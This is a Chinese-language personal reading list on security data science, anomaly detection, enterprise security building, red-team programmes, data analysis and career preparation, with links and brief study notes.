- [数据预处理-异常值识别](http://www.shataowei.com/2017/08/09/数据预处理-异常值识别/)
- [Abnormal Detection（异常检测）和 Supervised Learning（有监督训练）在异常检测上的应用初探](https://www.cnblogs.com/LittleHann/p/7086851.html#_label3_6_3_0)
- [数据挖掘中常见的「异常检测」算法有哪些？ - 微调的回答 - 知乎](https://www.zhihu.com/question/280696035/answer/417091151)<br>
1、介绍常见的无监督异常检测算法及实验；2、对比多种算法的检测能力；3、对比多种算法的运算开销；4、总结并归纳如何处理异常检测问题。1.1）统计与概率模型：假设分布与假设检验，一维与多维，特征独立与特征相关，欧式距离与马氏距离；线性模型：低维空间嵌入，特征向量特征空间与协方差矩阵，欧式距离与马氏距离，PCA与Soft PCA与One-Class SVM；基于相似度衡量的模型：密度、距离、夹角、划分超平面、聚类；集成异常检测与模型融合。1.2）从实验结果图的决策边界验证算法之间的联系性。2.1）模型检测效果对比，Isolation Forest和KNN表现稳定；基于距离度量的KNN等模型受数据维度影响较大。3.1）数据量和数据维度对算法开销也有影响。Isolation更适合高维空间。4.1）实验结果带来了异常检测模型选择的思路：中小数据集KNN和MCD比较稳定，中大数据集Isolation Forest稳定；模型效果与模型效率往往是对立的，比如PCA与MCD；异常检测往往是非监督的，因此稳定比忽高忽低的性能更重要；简单的模型效果也可能很好。4.2）对于一个全新的异常检测问题，可以遵循以下步骤分析：A、对数据的了解，数据的分布，异常的分布，可根据假设选择模型；B、解决的问题是否有标签，如果有，一定不能浪费；C、如果可能的话，尝试不同的算法，尤其是对数据的了解有限时；D、根据数据的特点选择算法；E、无监督异常检测模型验证结果并不容易，可采用半自动的方式，对于置信度高的放过，对置信度低的人工审核；F、异常的趋势和特征往往在不断变化，因此模型需要重训练及调整策略；G、不要完全依赖模型，尝试使用半自动化的策略：人工规则+检测模型。人工规则还是很有用的，不要尝试一步到位的使用数据策略代替现有规则。
- [梳理 | 异常检测](https://www.zuozuovera.com/archives/1395/)
- [Anomaly Detection Isolation Forest&Visualization ](https://www.kaggle.com/adithya44/anomaly-detection-isolation-forest-visualization)
- [Anomaly Detection with Time Series Forecasting](https://www.kaggle.com/adithya44/anomaly-detection-with-time-series-forecasting)
### 图与安全
- [图/Louvain/DGA乱谈](https://www.cdxy.me/?p=805)<br>
图承载者拓扑信息，而拓扑信息可以看作一种特征维度，有些攻防场景有明显的拓扑特征。Louvain算法的关键点是图的边的权重，在具体的攻防场景下需要专门研究，例如在DGA场景下，域名A与B的相关性(weight)=同时访问过A和B域名的IP数量。cdxy师傅用SQL实现了这种逻辑。
- [社区发现算法 - Fast Unfolding（Louvian）算法初探](https://www.cnblogs.com/LittleHann/p/9078909.html)
- [A DGA Odyssey PDNS Driven DGA Analysis](https://pc.nanog.org/static/published/meetings/NANOG71/1444/20171004_Gong_A_Dga_Odyssey__v1.pdf)
- [图计算在基础安全的落点](https://www.cdxy.me/?p=817)<br>
学到了：图在入侵检测、入侵响应、威胁情报、UEBA上的落地。入侵检测：企业入侵检测的发展方向、数据分析能力的发展历程。入侵响应：**过程中解决的问题**（日志的完整性和丰富性、海量数据和长时间窗口的关联分析、图的实时构建和查询、交互与可视化）。UEBA：云原生的可信任和零信任的发展-》默认安全-》获取可信服务的凭证，“供应链”式攻击-》构建在认证之上的入侵检测-》行为分析和画像。**总结：业务问题-》数据问题。**
### AI与安全
- [安全场景、基于AI的安全算法和安全数据分析学习资料整理](https://github.com/404notf0und/AI-for-Security-Learning)
- [Towards Privacy and Security of Deep Learning Systems: A Survey](https://arxiv.org/pdf/1911.12562v1.pdf)<br>
**AI安全的攻击面**：训练阶段和测试阶段的数据和模型方面，攻击有数据中毒和对抗性样本，模型提取和模型反转等。
- [智能威胁检测：基于Spark的SOC机器学习检测平台](https://mp.weixin.qq.com/s/0FNXGMQXu4LkTIC0ZbwwpQ)
## 企业安全建设
### 安全开发
- [安全扫描自动化检测平台建设(Web黑盒 中)](https://www.secpulse.com/archives/52464.html)
- [带你读神器之KunPeng源代码分析](https://mp.weixin.qq.com/s/JLMaygM_MioszehGYpY2rw)
### 安全检测
- [关于风控预警体系的搭建方案](https://mp.weixin.qq.com/s/2r61XB_Po4s3ihkLy46xbA)<br>
**业务安全-风控**：快速发现异常和准确定义风险。通过核心指标的变化发现异常片段及实体、通过聚类手段发现异常簇下全部实体；异常实体抽样--->无感知人工审核--->有针对性制定风险阈值
- [从传统安全转行风控领域的心路历程，兼谈黑产和风控行业趋势](https://mp.weixin.qq.com/s/GWOjp1E2B4J0efUjFBnp8Q)<br>
**业务安全-风控**：风控领域斗争日趋激烈，黑产已经从高度专业化、分工明确的团伙进化为产业化运作的公司，现在风控需要有基础安全技术支撑（传统安全），随着司法机关对黑灰产的高压打击，未来大企业会关注风控供应商的产品能力和合规合法性。
- [风控模型师面试准备--技术篇](https://zhuanlan.zhihu.com/p/56175215)
- [风控模型实战--"魔镜杯"风控算法大赛](https://zhuanlan.zhihu.com/p/56864235)
- [风控用户识别方法](http://www.shataowei.com/2017/12/09/风控用户识别方法/)
- [github:sladesha](https://github.com/sladesha/Frcwp)
- [多算法识别撞库刷券等异常用户](http://www.shataowei.com/2017/12/01/多算法识别撞库刷券等异常用户/)
- [DNS Tunnel隧道隐蔽通信实验 && 尝试复现特征向量化思维方式检测](https://www.cnblogs.com/LittleHann/p/8656621.html)<br>
- [企业安全建设之HIDS](https://www.freebuf.com/articles/es/194510.html)
- [保障IDC安全：分布式HIDS集群架构设计](https://mp.weixin.qq.com/s?__biz=MjM5NjQ5MTI5OA==&mid=2651750220&idx=2&sn=26e1ae8056e4fd7db5e953e946a00b78&chksm=bd12a6018a652f17643ccf86264ea226a5d881c4dd2911772893e0c5d848f95f1f8de74b786d&mpshare=1&scene=1&srcid=0117j91c1pFiorQDDMN0XQka#rd)
- [点融开源AgentSmith HIDS--- 一套轻量级的HIDS系统](https://mp.weixin.qq.com/s?__biz=MzI5MjE4MDc4OQ==&mid=2247483961&idx=1&sn=2736aad509f08c20d82cfc08b62da27a&chksm=ec040463db738d754cce84506c098caca891b58740e1b38b3621f752f805eb1c02ebf0e2ac73&mpshare=1&scene=1&srcid=1226ZgmHAUTfeYMuLFPWyuHS#rd)
- [企业安全建设—基于Agent的HIDS系统设计的一点思路](https://xz.aliyun.com/t/1732)<br>
**入侵检测-主机入侵检测系统**：美团的系统性实践非常值得学习。从需求描述，产品经理提出需求->分析需求，总结产品架构要符合的特性->技术难点，分析遇到的技术挑战->架构设计与技术选型->分布式HIDS集群架构图->编程语言选择->产品实现。
- [基于统计分析的ICMP隧道检测方法与实现](https://mp.weixin.qq.com/s/qSHQ2v9s0nDRmFXhnPna3g)<br>
### 安全产品
- [收集一些比较优秀的开源安全项目，以帮助甲方安全从业人员构建企业安全能力](https://github.com/Bypass007/Safety-Project-Collection)**(学到了)**
**开源安全产品**：包括资产管理、安全开发、自动化代码审计、安全运维、堡垒机、HIDS、网络流量分析、蜜罐、WAF、企业云盘、钓鱼网站系统、Github监控、风控、漏洞管理、SIEM/SOC。
### 安全运营
- [我理解的安全运营](https://zhuanlan.zhihu.com/p/39467201)<br>
**公司是为产出付费，而不是为知识付费**。安全运营是以解决问题为导向。安全运营的主要职责和**技能需求**：安全、研发、运维背景；**较好的沟通能力**；一定的**项目管理能力**；具备数据意识。
- [再谈安全运营](https://zhuanlan.zhihu.com/p/84591095)<br>
安全运营的**Why**：**安全的风险直观化**，表象被戳破；**安全建设期已过，开始追求结果**。<br>
安全运营的**What和How**：抓住**主要矛盾**和次要矛盾**不放过**，尽力解决。
### 安全管理
- [企业安全建设技能树v1.0发布](https://mp.weixin.qq.com/s/JFWxsdnEPI5NEU1PlR-FjA)<br>
包括六大部分：说明、安全观、安全治理、通用技能、专业技能、优质资源。
### 安全思考
- [谈谈互联网企业安全的发展方向](白帽子讲Web安全附录)<br>
**企业安全发展方向**：由浅入深分为四个目标：1、消灭漏洞驱使，第一个目标是让工程师写出的每一行代码都是安全的，由此诞生SDL，SDL又衍生技术研究和技术产品，比如代码安全扫描工具的研究和fuzzing。2、有了SDL还无法100%安全，所以第二个目标是让所有已知、未知的攻击，都能在第一时间发现，并迅速报警和追踪。挑战：海量数据和复杂需求 方案：超强计算能力和立体化模型。3、第三个目标是让安全成为公司的核心竞争力，深入到每个产品的特性中，能够更好地引导用户使用互联网的习惯。4、最后一个目标是能够观测到整个互联网安全趋势的变化，对未来一段时间内的风险做出预警。
在互联网公司做安全一定要有想象力，同时紧密关注其他技术领域的发展，这样就不会止步于几种漏洞的研究，而会发现有很多有趣的事情正等着去做，这是一个非常宏伟的蓝图。
- [以攻促防：企业蓝军建设思考](https://mp.weixin.qq.com/s/8iJs2ON66NY1Jdbt7c-BTA)
- [赵彦的CISO闪电战｜两年甲方安全修炼之路](https://www.freebuf.com/articles/es/200024.html?from=timeline&isappinstalled=0)（学到了）<br>
范围对象（公司业务、挑战及安全需求（纵深防御、自身供应链安全、赋能第三方安全））--->目标设定（当下需求设定和未来发展）--->挑战（团队全栈（知识结构和技能对口主营业务）、工程能力、管理能力）--->分解安全体系（通用领域安全建设沙盘图：研发安全、IT安全、基础设施安全、数据安全、终端安全、业务安全、隐私与安全合规）--->实现和应对（安全治理框架、业界对标（真正落地能力，demo不算有此能力）、安全研究）。**总的来说，就是全栈技术视野（努力从技能层面上升到技术视野层面）+安全管理能力。**
### 安全架构
- 网络安全架构 | 通过安全架构提升安全性](https://mp.weixin.qq.com/s/m90wYaEvHzfsdgnFHMGxCw)
### 红蓝对抗
- [【红蓝对抗】大型互联网企业安全蓝军建设](https://kingx.me/Thinking-about-Red-Teaming.html)（学到了）<br>
**红蓝对抗的Why**：检验企业安全防护体系；梳理风险盲点和攻防场景，为安全建设提供有价值的建议；安全价值的体现；强化业务同事的安全意识。<br>
**红蓝对抗的What**：入侵发现率；攻防场景发现率；攻击覆盖度；演戏频次/安全风险数/策略缺陷数/效率提升；攻击成本；目标达成率。<br>
**红蓝对抗的How**：仿真APT--->蓝军团队需要沉淀出一套体系化的攻击手法知识库和武器库--->ATT&&CK矩阵框架。<br>
**红蓝对抗Do过程中的挑战**：效率/收益；攻击成本量化；来自业务的挑战（红蓝对抗的核心目标是为业务保驾护航）。<br>
**红蓝对抗的Future**：多层次多范围的蓝军；蓝军的自动化渗透平台/协同作战平台；蓝军能力对外输出。
- [网络空间安全时代的红蓝对抗建设](https://mp.weixin.qq.com/s/dzU7mTbD-Hmw7ZxB6FRb5Q)（附录存在红蓝对抗相关文章）<br>
**实战是检验安全防护能力的唯一标准**。渗透测试，适用于企业安全体系建设初期或者一穷二白阶段，而红蓝对抗是渗透测试的升级版，不仅关注安全漏洞，重点检验的是企业安全建设体系的缺陷，**红蓝对抗的边界**不只是信息安全视角下的网络渗透攻击，随着新技术新架构的出现，**还拓展到网络空间安全视角下的AIoT、工业互联网、业务风控、窃听/窃视等领域**。
### 内网安全
- [内网安全攻击模拟和异常检测规则实战](https://mp.weixin.qq.com/s/kELnd0dAGe8Qa-lkJtcoNQ)<br>
**行文思路**：外部信息收集->边界突破->信息收集、权限提升->权限维持->信息收集、凭据提取->横向移动->数据窃取->清理痕迹。
### 数据安全
- [腾讯安全首发企业级「数据安全能力图谱」](https://mp.weixin.qq.com/s/bLlkg7YQXM7nVQigIvBSiw)<br>
**行文思路**：数据安全能力图谱包括6大方面：数据资产管控能力、数据安全运营能力、数据业务安全管控能力、数据支撑环境安全管控能力、数据运维安全管控能力、数据安全感知能力。
## 新技术与新安全
### 综述
- [数字化转型中的应用现代化与安全左移](https://mp.weixin.qq.com/s/DDOAZ3K_HuZSCFdgUcUe8g)<br>
**行文思路**：新基建->数字化转型->传统信息化面临挑战->业务驱动应用现代化->云原生、容器化、DevOps、应用微服务化、编排等新技术->应用现代化架构->内生安全（云网络全方位感知、可信、全流程安全介入、安全运营）。
### 云原生
- [云原生网络代理 MOSN 透明劫持技术解读 | 开源](https://mp.weixin.qq.com/s/swrJT6HZy4r1XDXFzHNtxA)<br>
**行文思路**：service mesh->Istio->数据面->网络代理->MOSN->高效透明流量劫持。问题：流量接管。解决问题：环境适配、配置管理、数据面性能。
- [云原生入侵检测趋势观察](https://xz.aliyun.com/t/7841?from=timeline&isappinstalled=0)<br>
**行文思路**：资产多样化、服务碎片化、中间件井喷、基础设施默认安全->入侵检测“业务化”，行为分析将成为核心能力。
- [王任飞（avfisher）：Red Teaming for Cloud（云上攻防） ](https://mp.weixin.qq.com/s?__biz=MzI2MjQ1NTA4MA==&mid=2247485109&idx=1&sn=da24b31ee4d1629f2df88470cc8418f5&chksm=ea4bacf2dd3c25e49f25184b60bc663eb4876f1a84d88c4d888ff4ff542cc90870f635b25af7&scene=126&sessionid=1591339348&key=904c21afc119becb4b8cdd8554f5a9f6e88bdef4d965af82e507c2b5a68a5015cfd2943cfa11dd3d85ca9a3eb9946fed9437c8b169375ebf421fd68c24acf0eaa3f47b3d8198c3d004e45d579a3a1b3f&ascene=1&uin=MTA5NjU5ODIxNg%3D%3D&devicetype=Windows+7+x64&version=62090070&lang=zh_CN&exportkey=Azre3fsXQ11HKpGCp1fqHJo%3D&pass_ticket=Q8sO44o1Ga7w0USNghjRWDURXD9%2BJZ8cS7F6Nyoxbfg7a38rXcHiaLEaqh%2FxSLWC)（Mark）
### 可信计算
- [张欧：数字银行可信网络实践 ](https://mp.weixin.qq.com/s?__biz=MzI2MjQ1NTA4MA==&mid=2247485040&idx=1&sn=188ea6610b0936e2bd1f7b5ce4def639&chksm=ea4bac37dd3c2521c69c8fb8bf29186249f86048a5755f9be0fc03a31ee73c98b71826905d42&scene=126&sessionid=1591339348&key=658cffbcef315553858cc3f70ad71638a38789ab43c93d6519abdd323585ab6fa57d54d750dba59b4f9e818990cf1e803b0c9a0b758c3efa62067da959fde59849c217bb591deb84db147ab56ce643fb&ascene=1&uin=MTA5NjU5ODIxNg%3D%3D&devicetype=Windows+7+x64&version=62090070&lang=zh_CN&exportkey=A5vYhyVVqrtmc6GE6%2BQiHsg%3D&pass_ticket=Q8sO44o1Ga7w0USNghjRWDURXD9%2BJZ8cS7F6Nyoxbfg7a38rXcHiaLEaqh%2FxSLWC)<br>
**行文思路**：**本质问题是：网络层面的纵深防御。为什么要做（挑战）->落地的思路和方案->过程中的挑战和思考**。
- [何艺：零信任安全架构实践之路 ](https://mp.weixin.qq.com/s?__biz=MzI2MjQ1NTA4MA==&mid=2247485148&idx=1&sn=66c7b7309dad7711832105a7fd9e2e10&chksm=ea4bac9bdd3c258d16840c28cf746f25453f081fe6ba3b2e02797697e2dbde9e5978dd406b46&scene=126&sessionid=1591339328&key=38c47e635d6e8eea767f50429477f107c7624c4b7a7ef4c7854e323f21300ef393ea3c50fb0cd708da80414c04cb3601523d58c582bca2fe5781869970f67a1da8cacd297c33ed8a021b45c9789e2bdd&ascene=1&uin=MTA5NjU5ODIxNg%3D%3D&devicetype=Windows+7+x64&version=62090070&lang=zh_CN&exportkey=A3nwc8fUFx%2B%2Fnl%2ByqjVonuY%3D&pass_ticket=Q8sO44o1Ga7w0USNghjRWDURXD9%2BJZ8cS7F6Nyoxbfg7a38rXcHiaLEaqh%2FxSLWC)<br>
**核心点**：**零信任的核心是用户+设备+应用等信任链条的建立，安全的持续动态校验，缩小攻击面。做的工作：网络网关、主机网关、应用网关、SOC**。
### DevSecOps
- [“安全需要每个工程师的参与”-DevSecOps理念及思考](https://mp.weixin.qq.com/s/_jBmFdtyXY5D_YrrTUP1iQ)（Mark）<br>
## 安全发展
### 个人发展
#### 面试
- [有关安全的面经, 实习, etc](https://github.com/SecYouth/sec-jobs/tree/master/interview-experience)<br>
**面试**：滴滴、百度（2）、360（2）、阿里（6）、腾讯（3）、b站、华为、同花顺、蘑菇街。总的来看，大佬们好强，选择大多是甲方安全部。我的理解：看了大佬们的面经和被问到的问题，真的是五花八门，有bin方向的，有数据安全方向的，也有安全运营方向的等等，有一些参考价值，但是因为方向不同，不能生硬照搬，还是得发挥自己的专长，先做自己小领域的领域专家。
- [2018春招安全岗实习面试总结](https://www.jianshu.com/p/41c72f2c932d)
- [腾讯2016实习招聘-安全岗笔试题答案详细解释](https://blog.csdn.net/qq_29277155/article/details/51628939)<br>
**笔试**：设计一个安全的web身份验证方案：前端：验证码+csrf_token+基于时间戳加密生成随机数；把身份信息传输到服务器后台，并且设置同源策略（同源网站：域名、端口、协议）；服务器端验证客户端身份后，通过随机数加密session和cookie返回客户端；客户端与服务器端建立连接。
- [大型公司安全技术岗位面试杂谈](https://zhuanlan.zhihu.com/p/58942101?utm_source=wechat_session&utm_medium=social&utm_oi=663312716719067136)<br>
**面试**：安全技术基础--->项目细节（知识深度，在擅长的领域碾压面试官，让面试官问不出有深度的问题）--->挑战性问题的处理思路（知识面和行业认知能力，一般也不会脱离擅长领域，需要日常多读多想）--->行业深度认知能力和职业规划
- [2019 届阿里实习生内推实况是怎样的？ - 左左薇拉vera的回答 - 知乎](https://www.zhihu.com/question/267845706/answer/351184602)（学到了）
- [十面阿里，七面头条，你猜我进阿里没？](https://mp.weixin.qq.com/s/CUYbxx2qm9OXb8SUHdjbXA)<br>
**面试**：Java版优秀面经，java必备。
- [书剑恩仇录之我与阿里巴巴](http://michael282694.com/post/shu-jian-en-chou-lu-zhi-wo-yu-a-li-ba-ba)（太强了）
- [安全招聘之面试题](https://feei.cn/security-recruit-questions/)（学到了）<br>
**行文思路**：渗透测试（WEB方向）、安全研发（JAVA方向）、安全运营（合规审计方向）、安全架构（安全管理方向）<br>
**补充学习**：CRLF、对称加密和非对称加密的区别和优缺点、HTTPS的交互流程、同源策略、跨域请求。
- [安全招聘之好的简历是怎么样的？](https://feei.cn/security-recruit-resume/)
- [安全招聘之安全行业现状](https://feei.cn/security-recruit-industry-status/)
- [安全招聘之安全从业人员必备素质](https://feei.cn/security-recruit-employees-quality/)<br>
**行文思路：基础素质=基础能力（自我驱动+自主学习）+专业能力（渗透攻防+软件开发）。进阶素质=聪明（智商+情商）+勇敢乐观+自省**。
- [安全招聘之面试流程](https://feei.cn/security-recruit-process/)<br>
现在偷的懒后面会花更多代价来弥补。
- [一个安全工程师的2019](https://mp.weixin.qq.com/s/rr2f1RxFTjLSGlqxaG-aog)<br>
**行文思路**：老赛道与新征程-》行业探索者还是追随者-》行业信息透明互通-》生活加点盐。
#### 职业发展
- [安全研究者的自我修养](https://mp.weixin.qq.com/s/WrSZpqgq6gvZwEIqghqggg)
- [安全研究者的自我修养（续）](https://mp.weixin.qq.com/s/o7IMaLMuPYuXgr5hatK5Mw)
- [安全人员发展方向杂谈](https://zhuanlan.zhihu.com/p/54936058)<br>
**甲方安全发展路线**：硬核技术型--->大厂实验室和安全研究岗 非硬核技术型--->互联网企业安全建设之红蓝、技术运营、安全管理
- [安全从业者存在的意义](https://mp.weixin.qq.com/s/lJiBiGI6uoJRG11T-fx7Dw)<br>
**个人发展**：目标是帮助先进生产力解决好安全问题。这其中安全问题是信任的问题（信任支撑，原点支撑），是一个研究对抗的科学（人与人的对抗），是一个概率问题（安全架构）。安全是一门应用科学，随着每个时代的不同，可以有很多不同的技术手段和工具来完成各自的安全目标，因此安全从业者应该对新技术和先进生产力保持敏感和接受度，这会带来很多新的视角和能力，包括机器智能和区块链技术等。
- [安全团队在企业中的几个身份](https://mp.weixin.qq.com/s/YWLnrnWRFSzLC859YoN-nQ)<br>
**团队发展**：安全团队应该以服务者和协作者的身份，用专业的安全能力给出一类安全问题的解决思路和方案并解决，防止安全问题发生多次。
### 行业发展
#### 安全格局
- [最新统计2005-2017年国内科研单位在国际安全顶级会议中发表文章量统计](https://mp.weixin.qq.com/s/kd4S6hCE_GPpPGbp1aD5Jw)
- [从内容产出看安全领域变化](https://mp.weixin.qq.com/s/MZp_BOPPrX4hTgP5s5hUPw)<br>
**技术格局**：企鹅等互联网巨头开始进行流量封锁，对安全从业人员影响很大，爬不到数据，api又有限，只能上升到app hook了；技术上安全分析、数据挖掘、威胁情报的比重越来越重，**AI已经不仅仅是噱头了，智能安全势不可挡**；安全的职业发展方面，越来越多大佬们开始转型业务安全、数据安全。
- [网络安全行业竞争格局浅析](https://mp.weixin.qq.com/s/4odKGqDzyFI1CzWwVvmXEw)<br>
**市场格局**：基础安全防护（传统安全防护能力），中级安全防护（海量数据建模与分析能力），高级安全防护（云端威胁情报与分析能力），中高级安全防护市场广阔。此外，全文在多处凸显了人工智能技术，智能安全开始迈入开悟之坡了吗？！半数以上的人看好智能安全，也有人不看好智能安全，未来会怎么样，让我们拭目以待！
- [ZoomEye 网络空间测绘——委内瑞拉停电事件对其网络关键基础设施和重要信息系统影响](https://mp.weixin.qq.com/s/rGMggOde1XQjrYClphsi4A)
- [2020安全工作展望](https://mp.weixin.qq.com/s/mihqZ0BJAgee1bEm1ZJAQw)<br>
**行文逻辑**：**2019大事件**：HW行动将安全从隐性变成显性，低频变成高频，暴露问题，促进管理层对安全的重视，此为大背景；等保2.0安全合规愈加严格。**2019大变化**：领导重视了；实战化了。**2020甲方安全关注技术点**：安全运营（覆盖率和正常率等指标、是否有验证思路：能否在一定时间内主动发现安全措施失效）和安全资产管理（CMDB、主机上数据、流量、扫描、人工添加）。**2020关注“人”的需求**。**2020展望行业**：甲方安全团队组织架构会发生剧烈变化，安全团队能否承受变化；甲乙两方相处之道；安全黑天鹅事件越来越多。
#### 安全产品
- [C端安全产品的未来之路](https://mp.weixin.qq.com/s/Sp15EkyNKBZvOZHrJ7zJ2w)<br>
**C端安全产品**：移动端安全产品是否会像前几天PC端安全产品一样迎来春天？PC时代windows是一家独大的完全开放的平台，这让第三方安全公司能够在平台和用户之间产生价值的空间足够的大，但在移动端，安卓开始封闭，就不好说了。传统安全软件围绕病毒和欺诈，而围绕**个人信息安全的C端安全产品**有一线生机。
- [下一座圣杯 - 2019](https://mp.weixin.qq.com/s/6Kli-u6LEInoliTVQgdrFQ)<br>
**API安全**：**应用安全的发展**：2015年预测，数据是新中心，身份是新边界，行为是新控制，情报是新服务。基础设施演进->交付方式的改变。2015年，应用安全领域的WAF产品是良机，由市场决定。**新形势与新机遇**：微服务、Serverless、边缘计算。市场中的交付方式发生变化。**跨细分领域且跨基础设施**：API安全横跨应用安全、数据安全和身份安全三大领域。API使用场景广泛，需要产品有全面覆盖多种不同基础设施的能力。
# 数据
## 数据体系
- [数据分析师如何搭建数据运营指标体系？ - 张溪梦 Simon的回答](https://www.zhihu.com/question/315972357/answer/1238739118)<br>
**核心点**：**协作流程赋能**：实现数据驱动XX的指标体系搭建流程，需要跨团队协作，流程有：需求收集、方案规划、数据采集、采集方案评估、数据采集与数据验证上线、效果评估。**规划数据指标体系的两个模型**：OSM和UJM。OSM强调业务目标，UJM强调用户旅程。**指标分级体系**：一二三级指标联动。
- [如何在企业中从0-1建立一个数据/商业分析部门？](https://mp.weixin.qq.com/s/ADblJqYIaiDRTwE2IZWulg?-utm_source=wechat_session&utm_medium=social&utm_oi=663312716719067136&from=singlemessage&isappinstalled=0)(**学到了**)<br>
**部门的定位和价值——>里程碑设计——->团队搭建——->构建IT数据——->前期管理。**<br>
**定位和价值是一个部门立足公司的根本**：**做报表的部门VS做战略的部门**；业务其他公司的定位和公司内其他部门的认可；一定要会放大部门的价值和一定要走高层路线。<br>
**设立长期目标并拆解里程碑**：**公司业务目标--->公司战略--->部门目标--->部门里程碑--->工作计划**；设立里程碑的技巧？**借势、共赢、取巧、筑基**；借老板势，寻找1-2个老板的痛点问题解决；寻找利益相同的部门共建共赢；取巧摘已有的“桃子”；筑基数据链路梳理、数据清洗、系统互联、数据仓库设计、数据集市设计。<br>
**基于里程碑进行团队搭建**：切忌一步到位；审慎拉帮结派；遇到人才不可错过；学会“画饼”；注意团队文化建设。<br>
**构建公司的数据IT能力**：搭建基础且通用的数据流框架：应用层、归集层、加工层、分析层、展示层；
同时根据各种数据库选型指标选择对应的数据库存储产品，数据库选型指标比如容量、水平扩展性、查询实时性、查询灵活性、写入速度、事务、数据存储、处理数据规模、列扩展性。**在搭建数据框架中需要注意的点是：需要实现公司级别的业务数据架构**。基于业务对整个公司的数据进行体系化的梳理，任何的业务变化都会体现在数据之上，实现数据充分体现业务现状的目的。**要完成这一步的关键是完成公司级别的主数据管理**：明确各项数据的业务含义和口径、明确每个数据的职责单位、打通数据链路，推动数据共享。<br>
**引领团队走向胜利**：做“排长”而不要做“军长”；让合适的人做合适的事；明确规则，及时兑现。
## 数据分析与运营
- [数据分析与可视化：谁是安全圈的吃鸡第一人](https://www.freebuf.com/articles/web/199925.html?from=timeline&isappinstalled=0)（学到了）<br>
**数据分析与可视化**：收集数据集--->观察数据集--->社群发现与社区关系--->玩家画像。
- [请分享一下数据分析方面的思路，如何做好数据分析？](https://www.zhihu.com/question/30195311/answer/1235248266)<br>
**核心点**：数据分析的问题：业务的数据分析指标体系（点线面体）。**数据分析的方法：分类和对比**。
## 安全数据分析
- [Data-Knowledge-Action: 企业安全数据分析入门](https://www.cdxy.me/?p=803)（优秀，学到了）<br>
**综述**：**1、让模型理解业务，基于业务历史行为建立异常基线，在异常的基础上检测威胁；将运营结果反馈到模型，将误报视作正常行为回流。2、安全运营可运营，降低事件调查成本，自动化信息收集与聚合。3、随着数据的积累，安全数据分析将向基于图结构的高级知识表达方式发展。（这点深表赞同）4、对场景、攻击模式、数据的认识深度，远比选择工具重要。**
- [Security Data Science Learning Resources](http://www.covert.io/security-data-science-learning-resources/)<br>
**综述**：作者的研究点也是安全数据科学，整理了一些学习方法和学习资源。学习方法主要分为三个方面：**谷歌学术、Twitter、安全会议**。谷歌学术关注知名研究者以及他们新出的文章，关注引用了你关注的文章的文章，Twitter关注细分安全领域的人群，关注安全会议以及会议议程。学习资源：书籍和课程。
- [快速搭建一个轻量级OpenSOC架构的数据分析框架（一）](https://xz.aliyun.com/t/2201)(学到了)<br>
**框架**：**行文思路：由粗变细（由框架到举例子（由框架到场景到实际架构））。OpenSOC介绍（框架组成和工作流程）---》构建轻量级OpenSOC（聚焦具体场景和工具及具体架构）---》搭建步骤（每一步的环境搭建及配置）---》效果展示。**
- [先知talk：从数据视角探索安全威胁](https://www.cdxy.me/?p=791)
- [大数据威胁建模方法论](https://www.cdxy.me/?p=797)（学到了很多）
- [安全日志维度随想](https://www.cdxy.me/?p=793)
- [数据安全分析思想探索](https://www.freebuf.com/articles/database/176913.html)
- [DataCon 2019: 1st place solution of malicious DNS traffic & DGA analysis](https://www.cdxy.me/?p=806)（学到了）<br>
**我的理解**：涉及的知识点有：安全场景：DNS安全；数据处理：tshark工具的使用，MaxCompute和SQL的使用，PAI预分析和可视化；特征工程：DNS_type、src_ip维度的特征；异常检测算法：单特征3sigma检测；人工提取特征规则。<br>
第一小题DNS恶意流量的异常检测：个人吸收80%，整理流程无障碍，每步流程中的**细节和工具**还未完全掌握，比如DNS安全场景了解不全面、tshark的大量数据解析、统计特征的全面提取、SQL语句做特征化；<br>
第二小题DGA的多分类：个人吸收50%，流程搞懂了，但是对一些问题的理解还不到位，比如社区算法
- [基于大数据企业网络威胁发现模型实践](https://mp.weixin.qq.com/s/kwsF7i4_f-URi2BNQSa-sg)<br>
**我的理解**：问题：多源安全分析设备和服务（威胁数据）的横向和纵向联动。
# 算法
## 人工智能
### 算法体系
- [机器学习算法集锦：从贝叶斯到深度学习及各自优缺点](https://mp.weixin.qq.com/s/idxuzwUKG_Q1yUtpipG4Xw)<br>
**算法知识框架**：主要从算法的定义、过程、代表性算法、优缺点解释回归、正则化算法、人工神经网络、深度学习||决策树算法、集成算法||支持向量机||降维算法、聚类算法||基于实例的算法||贝叶斯算法||关联规则学习算法||图模型。<br>
**个人理解**：回归系列主要基于线性回归和逻辑回归衍生，包括回归、正则化算法、人工神经网络、深度学习；树系列主要基于决策树衍生，包括决策树和基于树的集成学习算法；支持向量机属于老牌算法；降维算法和聚类算法主要基于数据的内在结构描述数据；基于实例的算法实际上并没有训练的过程，代表性算法是KNN，基于记忆的学习；贝叶斯算法利用贝叶斯定理计算输出概率；关联规则学习算法能够提取数据中变量之间的关系的最佳解释；图模型是一种概率模型，可以表示随机变量之间的条件依赖结构。
- [Categories of algorithms non exhaustive ](https://static.coggle.it/diagram/WHeBqDIrJRk-kDDY)(学到了)<br>
**算法知识框架**：学到了搭建自己的算法体系。
### 基础知识
- [HTTP DATASET CSIC 2010](http://www.isi.csic.es/dataset/)<br>
**安全数据集-CSIC2010**：基于e-Commerce Web应用自动化生成的安全数据集，包含36000个正常请求和25000个异常请求，异常请求包括：SQL注入、缓冲区溢出、信息收集、文件泄露、CRLF注入、XSS等。
- [分类模型的性能评估——以 SAS Logistic 回归为例 (3): Lift 和 Gain](https://cosx.org/2009/02/measure-classification-model-performance-lift-gain/)
- [机器学习中非均衡数据集的处理方法？](https://www.zhihu.com/question/30492527/answer/222719942)<br>
**非均衡数据集**：上采样和下采样、正负样本的惩罚权重（scikit-learn的SVM为例：class_weight:{dict,'balanced'}）、组合/集成方法（从大样本中抽取多个小样本训练模型再集成）、特征选择（小样本量具有一定规模的时候，选择显著型的特征）
- [机器学习算法中 GBDT 和 XGBOOST 的区别有哪些？](https://www.zhihu.com/question/41354392/answer/157538270)<br>
